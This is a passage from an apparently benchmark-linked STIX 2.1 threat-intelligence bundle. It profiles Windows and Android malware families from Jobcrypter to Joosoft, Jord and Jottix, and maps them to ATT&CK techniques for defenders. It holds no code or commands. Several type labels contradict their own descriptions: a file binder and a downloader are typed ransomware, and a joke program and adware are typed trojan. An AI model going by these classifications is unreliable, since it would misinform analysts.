          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jobcrypter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5dc18606-22e7-5973-a8e8-a79b8ba53ef8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e7eb27a5-9bd0-53ac-8668-01f98917bcde",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jobcrypter exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff517ede-61a7-5097-9c30-e080b7769086",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e7eb27a5-9bd0-53ac-8668-01f98917bcde",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jobcrypter exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b02e68a5-18fd-5e9a-9de6-4cd7dbea1064",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e7eb27a5-9bd0-53ac-8668-01f98917bcde",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jobcrypter exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2b32f57f-0556-5fb9-825a-bebcc6eb30e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Johnnie",
      "description": "Johnnie (tracked in threat databases as Trojan:Win32/Johnnie, HackTool:Win32/Johnnie, and Worm:Win32/Johnnie) is a Windows trojan, reconnaissance hacktool, and payload dropper discovered in the wild around 2012. Engineered to perform local network discovery, privilege assessment, and unauthorized access, Johnnie is frequently deployed by threat actors following initial network intrusion. Upon execution, Johnnie scans the local subnet for open network shares, active SMB services, and accessible administrative shares (admin$, c$). It attempts credential-spraying routines against discovered network nodes using default administrative credentials. Furthermore, Johnnie establishes persistence by copying its binary into system folders, registering Windows autostart services, and beaconing out to operator infrastructure to download secondary malware modules. (Observed samples in benchmark: 221)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Johnnie",
        "HackTool:Win32/Johnnie",
        "Worm:Win32/Johnnie",
        "Win32/Johnnie.A",
        "Johnnie.Tool"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Johnnie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/johnnie"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62b7a553-2db1-545d-b59b-b7c747ff232a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b32f57f-0556-5fb9-825a-bebcc6eb30e1",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Johnnie exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c21df558-2938-5b12-8108-a88c79f208f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b32f57f-0556-5fb9-825a-bebcc6eb30e1",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Johnnie exhibits technique T1046 (Network Service Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6200917a-f123-5f74-ae3e-ee56e127518e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b32f57f-0556-5fb9-825a-bebcc6eb30e1",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Johnnie exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1684e85c-7dc1-52bc-b10a-48e2c647ffeb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b32f57f-0556-5fb9-825a-bebcc6eb30e1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Johnnie exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--995a4ecc-a0fb-50ba-a1c9-d11ce204fd1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b32f57f-0556-5fb9-825a-bebcc6eb30e1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Johnnie exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--86aaf057-deec-58ed-bd47-b961b7b17f77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Joiner",
      "description": "Trojan:Win32/Joiner (also known as a File Binder or Wrapper) is not a specific malware payload, but rather a **Malware Creation and Delivery Tool**. It is a utility used by attackers to combine (or 'join') two or more separate files into a single executable binary. Typically, an attacker uses a Joiner to bind a malicious payload (like a trojan or keylogger) to a legitimate, highly sought-after file (like a game installer, a PDF document, or a cracked software patch) to deceive the victim into executing the malware.<br><br><b>Understanding Joiners (File Binders)</b><br>To an end-user, the executed file appears exactly as expected\u2014the game installs, or the PDF opens normally. They are completely unaware that a malicious process was simultaneously launched in the background. For a security analyst, a 'Joiner' detection indicates that social engineering and file spoofing are being used to bypass security controls and trick users into authorizing execution.<br><br><b>Execution and Binding Mechanics</b><br>The Joiner tool is used by the attacker prior to deployment. The attacker selects the 'carrier' file (e.g., `Install_Game.exe`) and the 'payload' file (e.g., `stealer.exe`). The Joiner program packages both files into a new, single executable (`T1027`). It often allows the attacker to spoof the file icon (e.g., making the `.exe` look like a `.pdf` icon) (`T1036.005`). When the victim executes the bound file (`T1204.002`), a small stub program runs first. This stub silently extracts both the legitimate carrier file and the hidden malware to a temporary directory (`%Temp%`). It then executes the malware invisibly in the background while simultaneously launching the legitimate program in the foreground, ensuring the victim suspects nothing.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the payload that was joined to the carrier file (e.g., ransomware, spyware). Host-based IoCs include EDR telemetry showing a supposedly legitimate installer suddenly dropping and executing a completely unrelated, unknown executable from the `%Temp%` directory. The presence of 'Double Extensions' (e.g., `document.pdf.exe`) is a classic sign of a joined file relying on social engineering. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Joiner",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/joiner"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e22990a4-a3b3-514c-b778-4927342f49e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86aaf057-deec-58ed-bd47-b961b7b17f77",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Joiner exhibits technique T1027 (Obfuscated Files or Information (Binding files together))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c088fb2-2745-59f4-9eb3-3393adc4c702",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86aaf057-deec-58ed-bd47-b961b7b17f77",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Joiner exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location (Spoofing icons/extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6efaa7e-670d-529f-b992-fdbd821093ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86aaf057-deec-58ed-bd47-b961b7b17f77",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Joiner exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9172df38-a446-5de5-97a2-dfd76355ca91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Joke",
      "description": "Joke:Win32/Joke (or generic **Joke Program** heuristics) represents a classification for software that is technically non-destructive but is designed to startle, annoy, or prank the user. These programs simulate severe system failures, such as fake Blue Screens of Death (BSOD), making the mouse cursor run away from the user, or uncontrollably opening and closing the CD-ROM drive. While not technically malware, they are heavily flagged by security vendors due to the massive disruption they cause in enterprise environments.<br><br><b>Understanding Joke Programs</b><br>To an end-user, a Joke program is often terrifying, leading them to believe their computer is completely broken or heavily infected. For a security analyst or IT helpdesk, these programs are a massive nuisance that wastes valuable incident response time. While most are sent harmlessly among coworkers, advanced threat actors sometimes deploy Joke programs during a real breach as a diversionary tactic ('smokescreen') to overwhelm the SOC while data exfiltration occurs elsewhere.<br><br><b>Execution and Disruption Mechanics</b><br>Joke programs are usually executed manually by a user who was tricked into downloading a file (e.g., `funny_game.exe`) (`T1204.002`). They do not typically possess self-propagation capabilities or C2 channels. Upon execution, they utilize standard Windows APIs to disrupt the UI (`T1562`). For example, they might use the `SetCursorPos` API to constantly move the mouse, or draw a full-screen image of a BSOD over the desktop, disabling task manager access to prevent the user from closing the application easily.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe productivity loss and a flooded IT helpdesk. The IoC is entirely host-based: a highly visible, disruptive process running on the desktop. EDR logs will flag the execution of an unknown, unsigned binary from a user-writable directory (like `%Downloads%` or `%Temp%`). There is rarely any anomalous network traffic associated with Joke programs. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Joke",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/joke"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cba04ccd-83a5-59ed-bd10-bae13337bc28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9172df38-a446-5de5-97a2-dfd76355ca91",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Joke exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00a96f23-615b-5b3d-965b-387260bc7633",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9172df38-a446-5de5-97a2-dfd76355ca91",
      "target_ref": "attack-pattern--233c2a7d-34cd-5ba5-8e03-f1b2d741dbe8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Joke exhibits technique T1562 (Impair Defenses (Disabling Task Manager / UI manipulation))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f4daa305-419d-5570-8674-014ff71bcfe9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Joker",
      "description": "Joker (tracked extensively by Google Threat Analysis Group as 'Bread', and cataloged across mobile defense telemetry as Trojan.AndroidOS.Joker, Android.Joker, and Bread.Spyware) is an exceptionally persistent and polymorphic Android malware family first uncovered in 2017. Engineered specifically for telecom billing fraud, Joker specializes in executing unauthorized Wireless Application Protocol (WAP) billing subscriptions and premium-rate SMS toll fraud without user consent or knowledge. Threat actors behind Joker operate an aggressive, industrial-scale smuggling campaign, repeatedly circumventing Google Play Store security vetting by uploading thousands of seemingly benign utility applications\u2014such as camera filters, wallpaper apps, PDF converters, and messaging extensions\u2014containing minimal initial code. Once installed on a victim's smartphone, Joker executes a multi-stage obfuscated payload pipeline: it retrieves an encrypted secondary DEX payload disguised inside remote image headers via steganography or AWS/Firebase hosting, decrypts it locally using AES-256 or custom XOR routines, and loads executable classes dynamically via DexClassLoader. Joker requests sensitive Android permissions or exploits framework IPC vulnerabilities (such as CVE-2019-2187 and CVE-2020-0096) to silently gain NotificationListenerService access. Using this listener, Joker silently intercepts incoming two-factor authentication (2FA) SMS verification codes dispatched by mobile network carriers, auto-submits the confirmation codes on carrier subscription web portals in the background, and immediately suppresses the billing notification before the victim can observe it. Google TAG has removed over 1,700 unique Bread applications from the Play Store, documenting its continuous evolutionary shift from native C-library unpacking to commercial Android packers.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Android.Joker",
        "Trojan.AndroidOS.Joker",
        "Trojan:Android/Joker",
        "Bread.Spyware",
        "Android/Joker.BillingFraud",
        "Bread"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Joker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/joker"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8cf180d1-d91b-5647-8705-a8cee83d603a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Joosoft",
      "description": "Adware:Win32/Joosoft is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Joosoft</b><br>To an end-user, Joosoft manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Joosoft is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Joosoft",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/joosoft"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10c3c7f0-3174-55ef-a9a3-6d59ae5305ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cf180d1-d91b-5647-8705-a8cee83d603a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Joosoft exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eee7dbf9-5328-5d5e-92d0-d3c76685a1fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cf180d1-d91b-5647-8705-a8cee83d603a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Joosoft exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a34ac4c-7135-502a-b50e-bedf963e6b8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cf180d1-d91b-5647-8705-a8cee83d603a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Joosoft exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38a8975a-baf5-5b96-9750-06b446d2dd12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cf180d1-d91b-5647-8705-a8cee83d603a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Joosoft exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--89f88ded-0a06-5b48-bf2a-c6bce90740eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jord",
      "description": "Trojan:Win32/Jord is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Jord</b><br>To an end-user, a Jord infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Jord is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Jord is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Jord frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Jord reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jord",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jord"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83dde554-6102-55b1-8bf9-078c8e90d329",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89f88ded-0a06-5b48-bf2a-c6bce90740eb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jord exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad9bc4a7-d30f-5afa-930f-0eeb880baf58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89f88ded-0a06-5b48-bf2a-c6bce90740eb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jord exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4c8a889-7772-5046-924b-ebf5429a2563",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89f88ded-0a06-5b48-bf2a-c6bce90740eb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jord exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e44e7073-4045-5c7c-8c70-fdd89ae76f84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89f88ded-0a06-5b48-bf2a-c6bce90740eb",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jord exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0b9799e-d81b-57e8-916b-b17fda6a5f5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89f88ded-0a06-5b48-bf2a-c6bce90740eb",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jord exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4dd87d37-2631-5403-aa3e-a0d79bf2b710",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jottix",
      "description": "Jottix (classified across cybersecurity organizations as Ransom:Win32/Jottix, Trojan-Ransom.Win32.Jottix, and Win32/Jottix) is a targeted crypto-ransomware family engineered to execute rapid and irreversible file encryption across Windows endpoints and connected enterprise storage. Propagated through spear-phishing campaigns with malicious macro attachments, trojanized installers, and compromised Remote Desktop Protocol (RDP) sessions, Jottix initiates execution by assessing local user privileges. It targets user documents, spreadsheets, databases, financial ledgers, and virtual disk images across local hard drives, USB external storage, and mapped SMB network shares. Jottix utilizes symmetric AES-256 encryption in conjunction with an embedded RSA public master key, appending a unique .jottix extension to locked files. It drops ransom notes titled HOW_TO_RECOVER_FILES_JOTTIX.txt instructing victims to establish contact via encrypted communication channels. To obstruct local data restoration, Jottix executes shell commands to delete Volume Shadow Copies and disable Windows Startup Recovery. (Observed samples in benchmark: 16)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Jottix",
        "Trojan-Ransom.Win32.Jottix",
        "Win32/Jottix",
        "Jottix Ransomware",
        "Ransom.Jottix"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jottix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jottix"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddc4e661-2bf8-5050-b648-fb6ac7e68805",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4dd87d37-2631-5403-aa3e-a0d79bf2b710",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jottix exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c3c576f-df6d-5a2b-93d5-37f07704ce4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4dd87d37-2631-5403-aa3e-a0d79bf2b710",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jottix exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46633804-8482-52a0-a92d-bba0f02cda1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4dd87d37-2631-5403-aa3e-a0d79bf2b710",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jottix exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--666e8a23-5f0e-58db-b64d-6a4d88b61536",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4dd87d37-2631-5403-aa3e-a0d79bf2b710",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jottix exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db33e633-0da4-57ac-ae87-7639947f9153",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4dd87d37-2631-5403-aa3e-a0d79bf2b710",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jottix exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4f07d53e-de28-58fd-a136-36a8196a3018",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jps",
